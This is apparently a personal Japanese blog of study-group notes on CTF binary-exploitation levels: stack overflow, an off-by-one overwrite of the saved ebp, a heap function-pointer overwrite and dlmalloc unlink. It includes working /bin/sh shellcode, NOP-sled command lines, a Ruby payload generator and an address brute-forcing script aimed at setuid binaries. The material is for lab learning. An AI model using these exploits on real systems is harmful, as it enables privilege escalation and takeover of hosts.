トップ 追記

yoggy's diary

〜せかいのすみっこから〜


2010-02-21

CTF10勉強会(2/21) - メモ

TODO: 書きかけ途中。あとで確認して整理すること。

level8

off-by-oneな問題

  • ebpの下位1byteだけ書き換えることができる場合の攻略方法
  • アドレスは環境変数などで変化するので、手元の環境に合わせて調整すること。
  • 参考
メモ

引数に16byte以上指定すると落ちる。

$ ./eat
./eat <string>

$ ./eat aaa
first character: a

$ ./eat `ruby -e 'print "a"*15'`
first character: a

$ ./eat `ruby -e 'print "a"*16'`
first character: a
zsh: segmentation fault (core dumped)  ./eat `ruby -e 'print "a"*16'`

0x80484c0からはじまる関数からreturnするときに落ちているっぽい。

  • objdump -Sxd ./eat とかもあわせて参照。
  • この辺は地道に探すこと

strcpy()とかでargv[1]をスタック上のバッファにコピーしたときに、文字列の最後の0x00の分が1byte分ebpをpushしている領域にはみ出ているっぽい。

正常に動くとき。(a)〜(b)に"a"*15+"\x00"の16byteが格納されている。

(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*15'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161<-(a) 0x61616161
0xbfbfe780:     0x61616161      0x00616161<-(b) 0xbfbfe7a8      0x0804856f
0xbfbfe790:     0xbfbfe97f      0x0000000f      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x0000000f      0xbfbfe7c8      0x080485da

はみ出しているとき。(c)〜(e)に"a"*16+"\x00"の17byteが格納されている。16文字以上は同じ。 (e)が格納されているのはスタック上のebpがpushされている場所。

(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161<-(c) 0x61616161
0xbfbfe780:     0x61616161      0x61616161<-(d) 0xbfbfe700<-(e) 0x0804856f
0xbfbfe790:     0xbfbfe97f      0x00000010      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x00000010      0xbfbfe7c8      0x080485da

つまり、ebpの下位1byteだけが0x00で上書きすることが可能。

shellcodeを実行するためにクリアする必要があるポイント

  • (1) 前回のlevel3ではebpの4byteを自由に書き換えることが可能だったが、今回はebpの下位1byteを0x00に上書きできるだけなので、どうやってジャンプ先のアドレスを制御するか?
  • (2) スタック上にargs[1]がコピーされる領域が16byteだけなので、どこにshellcodeを配置して、どうやってそこにジャンプさせるか?

(1)について今回は、0xbfbfe700辺りに(c)〜(d)のバッファが配置されるように、環境変数や引数に与えるデータ量を調整する。

  • argv[2]に文字列を入れて、その長さを調整して0xbfbfe700辺りにバッファがくるように調整してみる。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*16'`
(gdb) x/16x $esp - 32
0xbfbfe750:     0x00000028      0xbfbfe7c0      0x61616161<-(f) 0x61616161
0xbfbfe760:     0x61616161      0x61616161<-(g) 0xbfbfe700      0x0804856f
0xbfbfe770:     0xbfbfe96b      0x00000010      0xbfbfe87c      0xbfbfe894
0xbfbfe780:     0xbfbfe884      0x00000010      0xbfbfe7a8      0x080485da
          ・
          ・
          ・
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*112'`
(gdb) x/16x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161<-(h) 0x61616161
0xbfbfe700:     0x61616161<-(i) 0x61616161<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
0xbfbfe720:     0xbfbfe824      0x00000010      0xbfbfe748      0x080485da

argv[2]にbを112文字突っ込んだら、(h)〜(j)のバッファが0xbfbfe700辺りに配置された。

ここまで来たら、level3と同じように、(j)にジャンプ先のアドレスを入れておけば、任意アドレスのコードを実行することができる。

(gdb) run `ruby -e 'print "a"*12+"AAAA"'` `ruby -e 'print "b"*112'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? () <-"AAAA"の文字列

(2)については、とりあえずargv[2]の領域にshellcodeを配置して実行する。

  • 手元の環境だと、0xbfbfe91cあたりにargv[2]が配置されるっぽい。
  • 下の(m)がargv[2]の先頭。
  • (j)に(m)のアドレスを配置
  • (m)の先頭にshellcodeを配置
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
Reading symbols from /lib/libc.so.7...(no debugging symbols found)...done.
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done.
first character: a

Breakpoint 1, 0x08048574 in ?? ()

(gdb) x/256x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161<-(h) 0x61616161
0xbfbfe700:     0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
     ・
     ・
     ・
0xbfbfe900:     0x6576656c      0x652f386c      0x61007461<-(l) 0x61616161
0xbfbfe910:     0x61616161      0x1c616161      0x00bfbfe9      0x8950c031<-(m)
0xbfbfe920:     0x10e883e0      0x31e38950      0x2f6850c0      0x6868732f
0xbfbfe930:     0x6e69622f      0xc031e289      0x50525350      0x80cd3bb0
0xbfbfe940:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe950:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe960:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe970:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe980:     0x62626262      0x62626262      0x62626262      0x2f3d5f00

(gdb) c
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x280655f0 in __stack_chk_fail_local () from /libexec/ld-elf.so.1

gdb上ではshellcodeは実行されないけど、"It might be running in another process."が表示されているとexploitが決まってるっぽい雰囲気。

あとは、gdbなし環境で実行できるようにアドレスを調整する。

ただ、今回はアドレスを調整するのが非常に難しい。難しい原因は次の通り

  • argv[2]の長さを調整して、(k)が指すアドレスを(i)に持ってこないとだめ。
  • (j)のジャンプ先のアドレスをarg[2]が格納されているアドレスにする必要がある。

地道に探してみるか…

まずは(1)を調整してみる。

$ cd ~
$ mkdir level8
$ cd level8
$ cp /home/level8/eat .

$ rm -f eat.core && ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
first character: a
zsh: segmentation fault (core dumped)

$ gdb -c eat.core
GNU gdb 6.1.1 [FreeBSD]Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `eat'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfe932 in ?? ()

(gdb) x/256x 0xbfbfe6f0 <- 前のバッファ周辺のアドレスを探してみる

0xbfbfe700:     0x00000010      0xbfbfe932      0xbfbfe748      0x00000061
0xbfbfe710:     0xbfbfe724      0x00000003      0xbfbfe748      0x0804851f
0xbfbfe720:     0x0804867d      0x00000061      0x00000010      0x28088000
0xbfbfe730:     0x00000028      0xbfbfe7a0      0x61616161<-(h) 0x61616161
0xbfbfe740:     0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe750:     0xbfbfe922      0x00000010      0x00000000      0x00000000
0xbfbfe760:     0x00000000      0x00000010      0xbfbfe788      0x080485da
0xbfbfe770:     0xbfbfe922      0x00000000      0xbfbfe798      0xbfbfe7a0
0xbfbfe780:     0x00000020      0xbfbfe7a0      0xbfbfe7b8      0x08048449     ・
    ・
    ・
    ・

いろいろ試してみると、1byteだけ書き換えた(k)の値は0xbfbfe700から変わらないっぽいので、 argv[2]の長さをいろいろ試してみると…

[yoggy@freebsd80 ~]$ cd /home/level8/
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*140 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)

[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*150 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
            ・
            ・
            ・
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
$
$ whoami
level8
$ ls
eat             eat.ans         password
$ cat password
1byte overflow!
$

argv[2]の先頭アドレスをぴったり当てなくても大丈夫なように、 argv[2]の先頭にNOP(0x90)を入れておいて、その後ろにshellcodeを配置。 (j)で指定するジャンプ先がargv[2]の先頭付近に着地すればOKなように工夫。

答え

argv[2]の長さは環境にあわせて調整すること。

$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`

level9

  • heap overflowな問題
  • free()を攻略
メモ
  • argv[2]が長いとオーバーフローする
  • free()で落ちる
  • malloc(), free()にbreakをかける
    • b free, b malloc
  • malloc()で確保したアドレスを覚えておく
    • finishするときのeaxに入っている戻り値を覚えておく
  • malloc()はサイズごとに確保する領域を分けて管理している
    • ヘッダがついている
    • malloc()のソースコードをみる
    • dlmallocで検索。
  • 確保されているメモリは、双方向リストで管理されている。
    • [X] <-> [Y] <-> [Z] <-> ....
  • unlink_chunk()
    • unlink_small_chunk(M, P, S)
  • Yを削る処理
    • F = Y->fd, B = Y->bk
    • F->bk = B, B->fd = F
  • Y->fd, Y->bkのアドレスを任意の値に書き換えることができる
    • F, Bの値を書き換えることができる
    • Fからちょっと進んだ場所の値をBの値で上書きできる
    • ということは、任意のアドレスの値を上書きできる。
    • ただし、F,Bはメモリ空間的にアクセスできる場所でないとだめという制約はある
    • F->bk = B, B->fd = Fが正しく実行されるために必要な条件

普通の環境では、unlink_small_chunk()の中でF,Bの内容チェックが行われている。

  • セキュリティのため
  • 勉強会環境では外している

考えないといけない点

  • free()の中でちゃんとunlink_chunk()が呼ばれるように、ヘッダを作り込んでおく必要がある。
    • 0xfffffff8, 0xfffffff8 (先人たちの知恵?w)

shellcodeを実行するコツ?(by ucq)

  • exit()とか確実にコールされる関数を乗っ取り
    • GOT書き換え
    • objdump -R b08 で確認。

2010-02-11

CTF10勉強会(2/11) - メモ

TODO: 書きかけ途中。あとで確認して整理すること。

寝坊&遅刻してすいませんでした…

level2

ヒープ上の関数ポインタの書き換え。

$ cd ~level2
$ ls -al
$ ls -l
total 18
-rwsr-xr-x  2 level2  level2  3584  2  4 20:31 b06*
-rw-rw-rw-  1 level2  level2  9165  2 10 00:04 b06.ans
-rw-------  1 level2  level2   509  2  4 20:33 b06.c
-rw-------  1 level2  level2    26  2  4 20:32 password
$ ./b06
$ ./b06 <name>
$ ./b06 `ruby -e 'puts "A"*64'`
zsh: segmentation fault (core dumped)  ./b06 `ruby -e 'puts "A"*64'`
$ gdb b06
(gdb) run `ruby -e 'print "A"*64'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x28174d42 in strcpy () from /lib/libc.so.7
(gdb) run `ruby -e 'print "A"*65'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08040041 in ?? ()
(gdb) run `ruby -e 'print "A"*66'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) run `ruby -e 'print "A"*67'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) run `ruby -e 'print "A"*68'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

68バイトでジャンプ先アドレスが完全に0x41414141で上書きできるっぽい。

(gdb) bt 3
#0  0x41414141 in ?? ()
#1  0x080485d1 in ?? ()
#2  0x28201040 in ?? ()
(gdb) x/4i  0x080485d1 - 5
0x80485cc:      mov    %eax,(%esp)
0x80485cf:      call   *%edx            <- ここに0x4141414141が入って落ちている
0x80485d1:      mov    0xfffffff4(%ebp),%eax
0x80485d4:      mov    %eax,(%esp)

(gdb) b *0x80485cf

正しく動くときは…

(gdb) run `ruby -e 'print "A"*64'`
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080485cf in ?? ()

(gdb) p/x $edx <- ここにジャンプしようとしてるので内容をチェック
$2 = 0x8048400
(gdb) x/4i $edx
0x8048400:      lea    0xc(%ebp,%ebx,4),%esi
0x8048404:      test   %ebx,%ebx
0x8048406:      mov    %esi,0x804981c
0x804840c:      jle    0x8048444

関数ポインタとかで呼び出されているっぽい?

(gdb) run `ruby -e 'print "A"*64'`
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080485cf in ?? ()
(gdb) bt 3
#0  0x080485cf in ?? ()
#1  0x28201040 in ?? () <- ヒープのアドレス
#2  0xbfbfe947 in ?? ()
(gdb) x/32x 0x28201040
0x28201040:     0x41414141      0x41414141      0x41414141      0x41414141
0x28201050:     0x41414141      0x41414141      0x41414141      0x41414141
0x28201060:     0x41414141      0x41414141      0x41414141      0x41414141
0x28201070:     0x41414141      0x41414141      0x41414141      0x41414141
0x28201080:     0x08048400<-(a) 0x00000000      0x00000000      0x00000000
0x28201090:     0x00000000      0x00000000      0x00000000      0x00000000
0x282010a0:     0x00000000      0x00000000      0x00000000      0x00000000
0x282010b0:     0x00000000      0x00000000      0x00000000      0x00000000

先に"x/4i $edx"で確認した値が(a)に格納されていて、0x80485cfの"call *%edx"で ここへジャンプしようとしてるっぽい。

ということは、0x28201040から引数が格納されているので、ここにshellcodeを配置して、 そこにジャンプできればOK。

$ cat ans_l2.rb
#!/usr/bin/ruby

# shellcode (exec /bin/sh, 36byte)
s = ""
s << "\x31\xc0\x50\x89\xe0\x83\xe8\x10"
s << "\x50\x89\xe3\x31\xc0\x50\x68\x2f"
s << "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
s << "\x89\xe2\x31\xc0\x50\x53\x52\x50"
s << "\xb0\x3b\xcd\x80"

# payload (68byte)
payload = s + ("A" * (64 - s.size)) + "\x40\x10\x20\x28"

print payload

$ ~level2/b06 "`ruby ans_l2.rb`"
$ whoami
level2
$ cat ~level2/password
答えの文字列

ジャンプ先アドレスに0x20(半角空白)が含まれている状態で普通に引数で渡すと 引数の区切りとして認識されるので要注意。ダブルクォーテーションでくくって 実行している。

シングルクォーテーション、ダブルクォーテーションなどが引数に含まれる場合も注意が必要。

level3

ポイント

  • ebpが書き換え可能な場合、関数を抜ける際に実行されるleave命令を利用してespの書き換えが可能。結果としてret先のアドレスを変更することができる。
  • 4byteだけスタックオーバーフローして、スタック上にpushされているebpが書き換え可能なケース
$ cd ~level3
$ ls -l
total 22
-rwsr-xr-x  2 level3  level3   3524  2  4 20:38 b03*
-rw-------  1 level3  level3  13782  2 10 00:25 b03.ans
-rw-------  1 level3  level3    532  2  4 20:39 b03.c
-rw-------  1 level3  level3     44  2  4 20:41 password
$ ./b03
./b03 <string>

17文字以上から落ちる。

$ ./b03 AAAA
first character: A

$ ./b03 `ruby -e 'puts "A"*17'`   <-
first character: A
zsh: segmentation fault (core dumped)

文字数をかえると落ちるアドレスがかわる??

$ gdb b03
(gdb) run `ruby -e 'print "A"*17'`
Program received signal SIGSEGV, Segmentation fault.
0x8cbfbfe7 in ?? ()

(gdb) run `ruby -e 'print "A"*18'`
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

(gdb) run `ruby -e 'print "A"*19'`
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

(gdb) run `ruby -e 'print "A"*20'`
Program received signal SIGSEGV, Segmentation fault.
0x08048544 in ?? ()

落ちるときにebpに変な値が入っていて落ちてる。スタック周りをみてみると…

(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'`
Program received signal SIGSEGV, Segmentation fault.
0x08048544 in ?? ()
(gdb) x/32x $esp - 32
0xbfbfe760:     0x00000030      0xbfbfe7d0      0x41414141<-(a) 0x42424242
0xbfbfe770:     0x43434343<-(b) 0x44444444<-(c) 0x45454545<-(d) 0x0804853f
0xbfbfe780:     0xbfbfe977      0x00000014      0xbfbfe888      0xbfbfe8a0
0xbfbfe790:     0xbfbfe890      0x00000014      0xbfbfe7b8      0x080485aa
0xbfbfe7a0:     0xbfbfe977      0x00000000      0xbfbfe7c8      0xbfbfe7d0
0xbfbfe7b0:     0x00000028      0xbfbfe7d0      0xbfbfe7f4      0x08048449
0xbfbfe7c0:     0x00000000      0x00000000      0xbfbfe7f4      0x08048449
0xbfbfe7d0:     0x00000002      0xbfbfe7fc      0xbfbfe808      0x00000000

(a)のところから引数が入ってる。レジスタの状態をみてみると、、

(gdb) info register
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x2      2
esp            0xbfbfe780       0xbfbfe780
ebp            0x45454545       0x45454545  <- (d)に格納されている値
esi            0xbfbfe808       -1077942264
edi            0x0      0
eip            0x8048544        0x8048544
eflags         0x10286  66182
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27

"EEEE"の文字列がebpに入っている。

どうもleave命令で落ちているっぽい。

(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'`
Program received signal SIGSEGV, Segmentation fault.

(gdb) x/1i $eip
0x8048544:      leave

eipはいま命令を実行しているアドレスが格納されているレジスタ(Enhanced Instruction Pointer)

"EEEE"の部分に適当に参照可能なアドレスをいれてみる。"CCCC"の格納されているアドレス(b) を指定してみる。

(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDD"+"\x70\xe7\xbf\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()

"DDDD"は0x44444444。(c)に格納されているアドレスへジャンプしようとして落ちている。

+ メモ:ここでleave命令の動作について書く

    • leaveですること
      • mv %ebp, %esp
      • pop %ebp
    • ret命令でしていること
      • pop eip

shellcodeを実行するポイント2つ。

  • (d)に(b)のアドレスを格納
  • (c)にジャンプ先アドレスを格納

ただし、スタックに入るデータが非常に少ない。"AAAABBBBCCCC"の12byteしか入っていない状態。

そこで今回は引数・環境変数領域を利用する。argv[2]の領域にshellcodeを配置してそこにジャンプさせる。

(gdb) run `ruby -e 'print "AAAABBBBCCCCDDDDEEEE"'` `ruby -e 'print "B"*32'`
(gdb) x/256x $esp - 32
0xbfbfe740:     0x00000030      0xbfbfe7b0      0x41414141<-(a) 0x42424242
0xbfbfe750:     0x43434343<-(b) 0x44444444<-(c) 0x45454545<-(d) 0x0804853f
0xbfbfe760:     0xbfbfe957      0x00000014      0xbfbfe868      0xbfbfe880
0xbfbfe770:     0xbfbfe870      0x00000014      0xbfbfe798      0x080485aa
0xbfbfe780:     0xbfbfe957      0x00000000      0xbfbfe7a8      0xbfbfe7b0
0xbfbfe790:     0x00000028      0xbfbfe7b0      0xbfbfe7d0      0x08048449
                             ・
                             ・
                             ・
0xbfbfe930:     0x00000000      0x00000000      0x00000000      0x7273752f
0xbfbfe940:     0x6d6f682f      0x6f792f65      0x2f796767      0x6576656c
0xbfbfe950:     0x622f336c      0x41003330<-(e) 0x41414141      0x41414141
0xbfbfe960:     0x41414141      0x41414141      0x00414141      0x42424242<-(f)
0xbfbfe970:     0x42424242      0x42424242      0x42424242      0x42424242
0xbfbfe980:     0x42424242      0x42424242      0x42424242      0x2f3d5f00
0xbfbfe990:     0x2f727375      0x656d6f68      0x676f792f      0x6c2f7967

(e)の0x41の所からargv[1]、(f)の0x42の所からargv[2]が格納されているっぽい。

注意:x/256xを指定しているので、表示はリトルエンディアンのunsigned intの16進数で表示している。4byteずつ並びが逆になって表示されているので注意。

後で書くメモ:
    • gdb -c でcoreを読み込んでアドレス解決する手順書く
    • 書き込み可能ディレクトリにハードリンクを作って、そこにcoreを吐かせる
      • ハードリンクを作った場合+s属性やオーナー情報はそのまま残る
答え

ジャンプ先のアドレスは環境変数などによって変化するので、前述の方法で調べること

$ cd ~
$ ln /home/level3/b03 ./b03

                                         ↓ジャンプ先アドレス     ↓ジャンプ先アドレスを格納しているアドレスの4byte手前のアドレス。leaveでpop ebpされるアドレス。
$ ./b03 `ruby -e 'print "AAAABBBBCCCC" + "\x87\xe9\xbf\xbf" + "\x90\xe7\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
通常実行時とgdbで実行したときにスタックアドレスが異なるのをどうやって吸収するか?

小さいプログラムを作って、普通に実行したときとgdbを実行したときの差異を調べる。

$ cat test_addr.c
/* gcc test2.c -o test2 */
#include <stdio.h>

void f()
{
  char buf[8];
  printf("buf addr=0x%08x\n", buf);
}

int main(int argc, char *argv[])
{
  printf("argv[1] addr=0x%08x\n", argv[1]);
  f();
}
$  gcc test_addr.c -o test_addr

gdbからプログラムが実行される場合、絶対パスで起動される。 通常実行する際に./test_addrと相対パスで起動していると、argv[0]の長さがかわってくるので、argv[1]やargv[2]のアドレスが異なってくる。

通常実行するときもフルパスを指定して起動して、できるだけ環境を合わせておくこと。

$ /home/yoggy/level3/test_addr "AAAABBBBCCCCDDDD"
argv[1] addr=0xbfbfe991
buf addr=0xbfbfe7b0

$ gdb test_addr
(gdb) run "AAAABBBBCCCCDDDD"
argv[1] addr=0xbfbfe96d
buf addr=0xbfbfe770

gdb環境 -> 通常実行環境のアドレスの差分を求める

スタック(char buf[8])の差分:
    0xbfbfe7b0 - 0xbfbfe770 = 64 (10進数)

引数(argv[1])が格納されているアドレスの差分:
    0xbfbfe991 - 0xbfbfe96d = 36 (10進数)
  • gdb環境で実行していると、スタック、引数ともにマイナス方向に進む様子。
  • argv[0]の長さが相対パス・絶対パスなどで変化すると、argv[1]のアドレスも変化するので要注意
環境変数の違い

gdbから実行した場合、環境変数

* COLUMNS
* LINES

というのが増えるっぽい?

これも引数領域のアドレスが変化する要因になっている。

+sが付加されている実行ファイルを実行した場合は、環境変数に変化は無いっぽい?

  • 以下のコードで検証
$ cat envtest.c
/* gcc envtest.c -o envtest */
#include <stdio.h>
extern char **environ;

main()
{
  int i;
  char *e;
  printf("environ[0] addr = 0x%08x\n", environ[0]);

  i = 0;
  while(1) {
    if (environ[i] == NULL) break;

    printf("environ[%d] = %s\n", i, environ[i]);
    ++i;
  }
}
$ gcc envtest.c -o envtest
$ envtest
    ・
    ・環境変数一覧が表示される
    ・
$ sudo chown root envtest
$ sudo chgrp wheel envtest
$ sudo chmod +s envtest
$ ./envtest
    ・
    ・表示される環境変数は変わらない
    ・

2010-01-30

CTF10勉強会(1/30) - メモ

level0

  • 普通のスタックオーバフロー

level1

  • 普通のスタックオーバフロー
  • ただし、gdb経由で実行したときと普通に起動したときでスタックのアドレスが異なる
    • setuidされているバイナリなので、環境変数などの影響を受けてスタックアドレスが異なる。
  • coreを出力して、gdb -c コアファイルで読み込むのがコツ
メモ
  • gdbでみると、0xbfbfeb60がバッファの先頭
  • 引数の 79〜82バイト目でリターンアドレスを書き換えることが可能
(gdb) run `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x68\xeb\xbf\xbf"'`
※最後の4バイトが戻り先アドレス。little endianなので逆になってるので注意

実際に直接実行してみるとshellcodeが動かない。アドレスがちょっと違っているっぽいので動かない 

$ ./hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x68\xeb\xbf\xbf"'`

実環境で実行してcoreをはかせて、その環境でバッファの先頭アドレスを調べる。

$ cp ../level1/hello2 .
$ ./hello2 `ruby -e 'print "A"*72'`
$ gdb ./hello2 hello2.core

(gdb) x/64x $esp - 96
0xbfbfeb80:     0xbfbfeb94      0x00000002      0xbfbfebd8      0x080484bb
0xbfbfeb90:     0x080485f1      0xbfbfeb98      0x41414141      0x41414141 <- バッファの先頭(0xbfbfeb98)
0xbfbfeba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfebb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfebc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfebd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfebe0:     0xbfbfed00      0x2819d0c0      0xbfbfec08      0x0804854a

というわけで、アドレスをかえて試してみる。

$ ./hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x98\xeb\xbf\xbf"'`
HELLO! 1######P####Ph//shh/bin####PSRP#;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#뿿
$

setuidされているファイルに対して実行してみる。

../level1/hello2 `ruby -e 'print "\x31\xc0\x50\x89\xe0  83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80" + "A"*32 + "\x98\xeb\xbf\xbf"'`

HELLO! 1######P####Ph//shh/bin####PSRP#;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#뿿 zsh: segmentation fault ../level1/hello2

setuidで実行すると環境変数とかが異なってる影響で、アドレスが違うのね…

…というわけで、結局bruteforceしてみることに

#!/usr/local/bin/ruby

# bruteforce address
def brute_addr(start_addr, stop_addr)
  step = 4
  addr = start_addr
  loop do
    hex = sprintf("%08x", addr)
    a4le  = [hex.reverse].pack("h*")

    #rubyはsystem()の引数に\x0が含まれていると例外が出るので注意
    begin
      # hex string, little endian 4bytes address
      yield hex, a4le
    rescue Exception => e
      pp e
    end

    addr += step
    break if addr > stop_addr
  end
end

# execute /bin/sh shellcode (36bytes)
shell = ""
shell += "\x31\xc0\x50\x89\xe0\x83\xe8\x10"
shell += "\x50\x89\xe3\x31\xc0\x50\x68\x2f"
shell += "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shell += "\x89\xe2\x31\xc0\x50\x53\x52\x50"
shell += "\xb0\x3b\xcd\x80"

# bruteforce block
start_addr = 0xbfbfeba0
stop_addr  = 0xbfbfffff

brute_addr(start_addr, stop_addr) {|hex,a4le|
  puts hex

  next if a4le[0]==0 ||  a4le[1]==0 ||  a4le[2]==0 ||  a4le[3]==0

  payload = shell + "A" * 32 + a4le
  cmd = "../level1/hello2"

  system(cmd, payload)
}

実行してみる

$ ruby bruteaddr.rb
     ・
     ・
     ・
bfbfffa8
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
bfbfffac
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
bfbfffb0  <- これが当たりのアドレス
HELLO! 1�P���P��1�Ph//shh/bin��1�PSRP�;̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
$
$ whoami
level1
$ ls -al ~level1
total 60
drwxr-xr-x   2 level1  level1   512 Jan 30 16:37 .
drwxr-xr-x  22 root    wheel    512 Jan 30 10:22 ..
-rw-r--r--   1 level1  level1   763 Jan 18 14:54 .cshrc
-rw-r--r--   1 level1  level1   261 Jan 18 14:54 .login
